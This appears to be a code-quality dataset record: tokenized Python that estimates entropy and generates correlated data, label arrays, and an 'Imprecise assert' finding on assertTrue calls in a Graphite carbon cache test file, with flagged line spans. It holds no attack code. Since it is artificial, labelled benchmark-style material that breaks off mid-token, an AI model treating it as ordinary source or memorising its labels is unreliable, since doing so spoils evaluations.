"in_", "points_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", ",_", "b_", ",_", "c_", ",_", "d_", "=_", "avg", "dig", "amma", "_", "(_", "x_", ",_", "dv", "ec_", ")_", ",_", "avg", "dig", "amma", "_", "(_", "y_", ",_", "dv", "ec_", ")_", ",_", "dig", "amma", "_", "(_", "k_", ")_", ",_", "dig", "amma", "_", "(_", "len_", "(_", "x_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "-_", "a_", "-_", "b_", "+_", "c_", "+_", "d_", ")_", "/_", "log_", "(_", "base_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "avg", "dig", "amma", "_", "(_", "points_", ",_", "dv", "ec_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Thi", "s", " ", "part", " ", "find", "s", " ", "number", " ", "of", " ", "neighbor", "s", " ", "in", " ", "some", " ", "radi", "us", " ", "in", " ", "the", " ", "marginal", " ", "space_", "\\u\\u\\uNL\\u\\u\\u_", "#", "return", "s", " ", "expectation", " ", "value", " ", "of", " ", "<", "psi", "(", "nx", ")>", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "N_", "=_", "len_", "(_", "points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tree_", "=_", "ss_", "._", "c", "KD", "Tree_", "(_", "points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avg_", "=_", "0._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "N_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dist_", "=_", "dv", "ec_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "subt", "let", "y", ",", " ", "we", " ", "don", "'", "t", " ", "include", " ", "the", " ", "bound", "ary", " ", "point", ",", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "but", " ", "we", " ", "are", " ", "implicit", "ly", " ", "addin", "g", " ", "1", " ", "to", " ", "kra", "sko", "v", " ", "def", " ", "bc", " ", "center", " ", "point", " ", "is", " ", "included_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "points_", "=_", "len_", "(_", "tree_", "._", "query", "\\u", "bal", "l\\u", "point_", "(_", "points_", "[_", "i_", "]_", ",_", "dist_", "-_", "1e-1", "5_", ",_", "p_", "=_", "float_", "(_", "'", "inf", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avg_", "+=_", "dig", "amma", "_", "(_", "num", "\\u", "points_", ")_", "/_", "N_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "avg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "zip", "2_", "(_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "zip", "2", "(", "x", ",", "y", ")", " ", "take", "s", " ", "the", " ", "lists", " ", "of", " ", "vector", "s", " ", "and", " ", "make", "s", " ", "it", " ", "a", " ", "list", " ", "of", " ", "vector", "s", " ", "in", " ", "a", " ", "joint", " ", "space_", "\\u\\u\\uNL\\u\\u\\u_", "#", "E", ".", "g", ".", " ", "zip", "2", "([", "[", "1", "],[", "2", "],[", "3", "]]", ",", "[[", "4", "],[", "5", "],[", "6", "]])", " ", "=", " ", "[[", "1", ",", "4", "],[", "2", ",", "5", "],[", "3", ",", "6", "]]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "sum_", "(_", "sublist_", ",_", "[_", "]_", ")_", "for_", "sublist_", "in_", "zip_", "(_", "*_", "args_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "correlate", "d\\u", "data_", "(_", "num", "\\u", "rows_", ",_", "num", "\\u", "cols_", ",_", "means_", ",_", "corr_", ",_", "seed_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "(_", "corr_", "<=_", "1_", "and_", "corr_", ">=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "num", "\\u", "cols_", "==_", "len_", "(_", "means_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "numpy_", "._", "random_", "._", "seed_", "(_", "seed_", "=_", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "numpy_", "._", "array_", "(_", "means_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sigma_", "=_", "numpy_", "._", "ones_", "(_", "(_", "num", "\\u", "cols_", ",_", "num", "\\u", "cols_", ")_", ",_", "dtype_", "=_", "float_", ")_", "*_", "corr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "\\u", "cols_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sigma_", "[_", "i_", ",_", "i_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "X_", "=_", "numpy_", "._", "random_", "._", "multivariate", "\\u", "normal_", "(_", "mu_", ",_", "sigma_", ",_", "num", "\\u", "rows_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "correlate", "d\\u", "state_", "(_", "num", "\\u", "rows_", ",_", "num", "\\u", "cols_", ",_", "num", "\\u", "views_", ",_", "num", "\\u", "clusters_", ",_", "mean", "\\u", "range_", ",_", "corr_", ",_", "seed_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "(_", "num", "\\u", "clusters_", "<=_", "num", "\\u", "rows_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "num", "\\u", "views_", "<=_", "num", "\\u", "cols_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "=_", "numpy_", "._", "zeros_", "(_", "(_", "num", "\\u", "rows_", ",_", "num", "\\u", "cols_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "seed_", "(_", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "numpy_", "._", "random_", "._", "seed_", "(_", "seed_", "=_", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "\\u", "next", "\\u", "seed_", "=_", "lambda_", ":_", "random_", "._", "randrange_", "(_", "2147483647", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "generat", "e", " ", "an", " ", "assign", "ment", " ", "of", " ", "column", "s", " ", "to", " ", "views", " ", "(", "uniform", ")_", "\\u\\u\\uNL\\u\\u\\u_", "cols", "\\u", "to", "\\u", "views_", "=_", "range_", "(_", "num", "\\u", "views_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "\\u", "counts_", "=_", "numpy_", "._", "ones_", "(_", "num", "\\u", "views_", ",_", "dtype_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "\\u", "views_", ",_", "num", "\\u", "cols_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "random_", "._", "randrange_", "(_", "num", "\\u", "views_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cols", "\\u", "to", "\\u", "views_", "._", "append_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "\\u", "counts_", "[_", "r_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "random_", "._", "shuffle_", "(_", "cols", "\\u", "to", "\\u", "views_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "(_", "len_", "(_", "cols", "\\u", "to", "\\u", "views_", ")_", "==_", "num", "\\u", "cols_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "max_", "(_", "cols", "\\u", "to", "\\u", "views_", ")_", "==_", "num", "\\u", "views_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "each", " ", "view", ",", " ", "generat", "e", " ", "an", " ", "assign", "ment", " ", "of", " ", "rows", " ", "to", " ", "num", "\\u", "clusters_", "\\u\\u\\uNL\\u\\u\\u_", "row", "\\u", "to", "\\u", "clusters_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "counts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "view_", "in_", "range_", "(_", "num", "\\u", "views_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "row", "\\u", "to", "\\u", "cluster_", "=_", "range_", "(_", "num", "\\u", "clusters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "count", "s", "\\u", "i_", "=_", "numpy_", "._", "ones_", "(_", "num", "\\u", "clusters_", ",_", "dtype_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "\\u", "clusters_", ",_", "num", "\\u", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "random_", "._", "randrange_", "(_", "num", "\\u", "clusters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "row", "\\u", "to", "\\u", "cluster_", "._", "append_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "count", "s", "\\u", "i_", "[_", "r_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "random_", "._", "shuffle_", "(_", "row", "\\u", "to", "\\u", "cluster_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "(_", "len_", "(_", "row", "\\u", "to", "\\u", "cluster_", ")_", "==_", "num", "\\u", "rows_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "max_", "(_", "row", "\\u", "to", "\\u", "cluster_", ")_", "==_", "num", "\\u", "clusters_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "row", "\\u", "to", "\\u", "clusters_", "._", "append_", "(_", "row", "\\u", "to", "\\u", "cluster_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "counts_", "._", "append_", "(_", "cluster", "\\u", "count", "s", "\\u", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "(_", "len_", "(_", "row", "\\u", "to", "\\u", "clusters_", ")_", "==_", "num", "\\u", "views_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "generat", "e", " ", "the", " ", "correlate", "d", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "view_", "in_", "range_", "(_", "num", "\\u", "views_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "cluster_", "in_", "range_", "(_", "num", "\\u", "clusters_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cell", "\\u", "cols_", "=_", "view", "\\u", "counts_", "[_", "view_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cell", "\\u", "rows_", "=_", "cluster", "\\u", "counts_", "[_", "view_", "]_", "[_", "cluster_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "means_", "=_", "numpy_", "._", "random_", "._", "uniform_", "(_", "-_", "mean", "\\u", "range_", "/_", "2.0_", ",_", "mean", "\\u", "range_", "/_", "2.0_", ",_", "cell", "\\u", "cols_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "generat", "e\\u", "correlate", "d\\u", "data_", "(_", "cell", "\\u", "rows_", ",_", "cell", "\\u", "cols_", ",_", "means_", ",_", "corr_", ",_", "seed_", "=_", "get", "\\u", "next", "\\u", "seed_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "indice", "s", " ", "of", " ", "the", " ", "column", "s", " ", "in", " ", "this", " ", "view_", "\\u\\u\\uNL\\u\\u\\u_", "col", "\\u", "indices_", "=_", "numpy_", "._", "nonzero_", "(_", "numpy_", "._", "array_", "(_", "cols", "\\u", "to", "\\u", "views_", ")_", "==_", "view_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "indice", "s", " ", "of", " ", "the", " ", "rows", " ", "in", " ", "this", " ", "view", " ", "and", " ", "this", " ", "cluster_", "\\u\\u\\uNL\\u\\u\\u_", "row", "\\u", "indices_", "=_", "numpy_", "._", "nonzero_", "(_", "numpy_", "._", "array_", "(_", "row", "\\u", "to", "\\u", "clusters_", "[_", "view_", "]_", ")_", "==_", "cluster_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "insert", " ", "the", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "col_", "in_", "range_", "(_", "cell", "\\u", "cols_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "row_", "in_", "range_", "(_", "cell", "\\u", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "r_", "=_", "row", "\\u", "indices_", "[_", "row_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "col", "\\u", "indices_", "[_", "col_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "[_", "r_", ",_", "c_", "]_", "=_", "X_", "[_", "row_", ",_", "col_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "M", "\\u", "c_", "=_", "du_", "._", "gen", "\\u", "M", "\\u", "c\\u", "from", "\\u", "T_", "(_", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "M", "\\u", "r_", "=_", "du_", "._", "gen", "\\u", "M", "\\u", "r", "\\u", "from", "\\u", "T_", "(_", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "L_", ",_", "X", "\\u", "D_", "=_", "generat", "e\\u", "X", "\\u", "L", "\\u", "and", "\\u", "X", "\\u", "D_", "(_", "T_", ",_", "M", "\\u", "c_", ",_", "cols", "\\u", "to", "\\u", "views_", ",_", "row", "\\u", "to", "\\u", "clusters_", ",_", "seed_", "=_", "get", "\\u", "next", "\\u", "seed_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "T_", ",_", "M", "\\u", "c_", ",_", "M", "\\u", "r_", ",_", "X", "\\u", "L_", ",_", "X", "\\u", "D_", ",_", "cols", "\\u", "to", "\\u", "views_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "X", "\\u", "L", "\\u", "and", "\\u", "X", "\\u", "D_", "(_", "T_", ",_", "M", "\\u", "c_", ",_", "cols", "\\u", "to", "\\u", "views_", ",_", "row", "\\u", "to", "\\u", "clusters_", ",_", "seed_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "State_", "._", "p", "\\u", "State_", "(_", "M", "\\u", "c_", ",_", "T_", ",_", "SEED", "_", "=_", "seed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "L_", "=_", "state_", "._", "get", "\\u", "X", "\\u", "L_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "insert", " ", "assi", "gment", " ", "int", "o", " ", "X", "\\u", "L", " ", "(", "this", " ", "is", " ", "not", " ", "a", " ", "valid", " ", "X", "\\u", "L", " ", "bec", "aus", "e", " ", "the", " ", "count", "s", " ", "and", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "suff", "stats", " ", "will", " ", "be", " ", "wrong", ")_", "\\u\\u\\uNL\\u\\u\\u_", "X", "\\u", "L_", "[_", "'", "column", "\\u", "partit", "ion", "'_", "]_", "[_", "'", "assign", "ment", "s", "'_", "]_", "=_", "cols", "\\u", "to", "\\u", "views_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "State_", "._", "p", "\\u", "State_", "(_", "M", "\\u", "c_", ",_", "T_", ",_", "X", "\\u", "L_", "=_", "X", "\\u", "L_", ",_", "X", "\\u", "D_", "=_", "row", "\\u", "to", "\\u", "clusters_", ",_", "SEED", "_", "=_", "seed_", ")_", "\\u\\u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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
graphite-project/carbon/lib/carbon/tests/test_cache.py
[ { "content": " def test_store_multiple_datapoints(self):\n self.metric_cache.store('foo', (123456, 1.0))\n self.metric_cache.store('foo', (123457, 2.0))\n self.assertEqual(2, self.metric_cache.size)\n result = self.metric_cache['foo'].items()\n self.assertTrue((123456, 1.0) in result)\n self.assertTrue((123457, 2.0) in result)", "metadata": "root.MetricCacheTest.test_store_multiple_datapoints", "header": "['class', 'MetricCacheTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 30 }, { "content": " def test_pop_multiple_datapoints(self):\n self.metric_cache.store('foo', (123456, 1.0))\n self.metric_cache.store('foo', (123457, 2.0))\n result = self.metric_cache.pop('foo')\n self.assertTrue((123456, 1.0) in result)\n self.assertTrue((123457, 2.0) in result)", "metadata": "root.MetricCacheTest.test_pop_multiple_datapoints", "header": "['class', 'MetricCacheTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 59 }, { "content": " def test_counts_multiple_datapoints(self):\n self.metric_cache.store('foo', (123456, 1.0))\n self.metric_cache.store('foo', (123457, 2.0))\n self.metric_cache.store('bar', (123458, 3.0))\n self.assertTrue(('foo', 2) in self.metric_cache.counts)\n self.assertTrue(('bar', 1) in self.metric_cache.counts)", "metadata": "root.MetricCacheTest.test_counts_multiple_datapoints", "header": "['class', 'MetricCacheTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 156 }, { "content": " def test_random_strategy(self):\n self.metric_cache.store('foo', (123456, 1.0))\n self.metric_cache.store('bar', (123457, 2.0))\n self.metric_cache.store('baz', (123458, 3.0))\n\n strategy = RandomStrategy(self.metric_cache)\n for _i in range(3):\n item = strategy.choose_item()\n self.assertTrue(item in self.metric_cache)\n self.metric_cache.pop(item)", "metadata": "root.RandomStrategyTest.test_random_strategy", "header": "['class', 'RandomStrategyTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 231 } ]
[ { "span": "self.assertTrue((123456, 1.0) in result)", "start_line": 35, "start_column": 4, "end_line": 35, "end_column": 44 }, { "span": "self.assertTrue((123457, 2.0) in result)", "start_line": 36, "start_column": 4, "end_line": 36, "end_column": 44 }, { "span": "self.assertTrue((123456, 1.0) in result)", "start_line": 63, "start_column": 4, "end_line": 63, "end_column": 44 }, { "span": "self.assertTrue((123457, 2.0) in result)", "start_line": 64, "start_column": 4, "end_line": 64, "end_column": 44 }, { "span": "self.assertTrue(('foo', 2) in self.metric_cache.counts)", "start_line": 160, "start_column": 4, "end_line": 160, "end_column": 59 }, { "span": "self.assertTrue(('bar', 1) in self.metric_cache.counts)", "start_line": 161, "start_column": 4, "end_line": 161, "end_column": 59 }, { "span": "self.assertTrue(item in self.metric_cache)", "start_line": 239, "start_column": 6, "end_line": 239, "end_column": 48 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Met", "ric", "Cache", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "store", "\\u", "multiple", "\\u", "datapoints", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "foo", "'_", ",_", "(_", "12345", "6_", ",_", "1.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "foo", "'_", ",_", "(_", "12345", "7_", ",_", "2.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "self_", "._", "metric", "\\u", "cache_", "._", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "metric", "\\u", "cache_", "[_", "'", "foo", "'_", "]_", "._", "items_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "12345", "6_", ",_", "1.0_", ")_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "12345", "7_", ",_", "2.0_", ")_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Met", "ric", "Cache", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "pop", "\\u", "multiple", "\\u", "datapoints", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "foo", "'_", ",_", "(_", "12345", "6_", ",_", "1.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "foo", "'_", ",_", "(_", "12345", "7_", ",_", "2.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "metric", "\\u", "cache_", "._", "pop_", "(_", "'", "foo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "12345", "6_", ",_", "1.0_", ")_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "12345", "7_", ",_", "2.0_", ")_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Met", "ric", "Cache", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "count", "s", "\\u", "multiple", "\\u", "datapoints", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "foo", "'_", ",_", "(_", "12345", "6_", ",_", "1.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "foo", "'_", ",_", "(_", "12345", "7_", ",_", "2.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "bar", "'_", ",_", "(_", "12345", "8_", ",_", "3.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "'", "foo", "'_", ",_", "2_", ")_", "in_", "self_", "._", "metric", "\\u", "cache_", "._", "counts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "'", "bar", "'_", ",_", "1_", ")_", "in_", "self_", "._", "metric", "\\u", "cache_", "._", "counts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Random", "Strat", "eg", "y", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "random", "\\u", "strategy_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "foo", "'_", ",_", "(_", "12345", "6_", ",_", "1.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "bar", "'_", ",_", "(_", "12345", "7_", ",_", "2.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "metric", "\\u", "cache_", "._", "store_", "(_", "'", "ba", "z", "'_", ",_", "(_", "12345", "8_", ",_", "3.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "strategy_", "=_", "Random", "Strategy_", "(_", "self_", "._", "metric", "\\u", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "\\u", "i_", "in_", "range_", "(_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 